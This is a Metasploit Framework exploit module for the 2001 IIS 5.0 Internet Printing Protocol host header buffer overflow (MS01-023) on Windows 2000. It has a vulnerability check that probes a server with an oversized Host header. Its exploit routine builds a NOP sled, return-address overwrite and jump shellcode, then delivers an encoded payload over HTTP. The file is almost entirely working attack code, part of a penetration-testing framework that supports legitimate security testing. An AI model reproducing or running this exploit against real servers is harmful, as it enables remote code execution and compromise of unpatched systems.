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## # $Id: ms01_023_printer.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft IIS 5.0 Printer Host Header Overflow', 'Description'=> %q{ This exploits a buffer overflow in the request processor of the Internet Printing Protocol ISAPI module in IIS. This module works against Windows 2000 service pack 0 and 1. If the service stops responding after a successful compromise, run the exploit a couple more times to completely kill the hung process. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2001-0241'], [ 'OSVDB', '3323'], [ 'BID', '2674'], [ 'MSB', 'MS01-023'], [ 'URL', 'http://seclists.org/lists/bugtraq/2001/May/0005.html'], ], 'Privileged' => false, 'Payload'=> { 'Space'=> 900, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Targets'=> [ [ 'Windows 2000 English SP0-SP1', { 'Platform' => 'win', 'Ret'=> 0x732c45f3, }, ], ], 'Platform' => 'win', 'DisclosureDate' => 'May 1 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class) end def check connect sock.put("GET /NULL.printer HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if !(resp and resp =~ /Error in web printer/) return Exploit::CheckCode::Safe end connect sock.put("GET /NULL.printer HTTP/1.0\r\nHost: #{"X"*257}\r\n\r\n") resp = sock.get_once disconnect if (resp and resp =~ /locked out/) print_status("The IUSER account is locked out, we can't check") return Exploit::CheckCode::Detected end if (resp and resp.index("HTTP/1.1 500") >= 0) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect buf = make_nops(280) buf[268, 4] = [target.ret].pack('V') # payload is at: [ebx + 96] + 256 + 64 buf << "\x8b\x4b\x60"# mov ecx, [ebx + 96] buf << "\x80\xc1\x40"# add cl, 64 buf << "\x80\xc5\x01"# add ch, 1 buf << "\xff\xe1"# jmp ecx sock.put("GET http://#{buf}/NULL.printer?#{payload.encoded} HTTP/1.0\r\n\r\n") handler disconnect end end |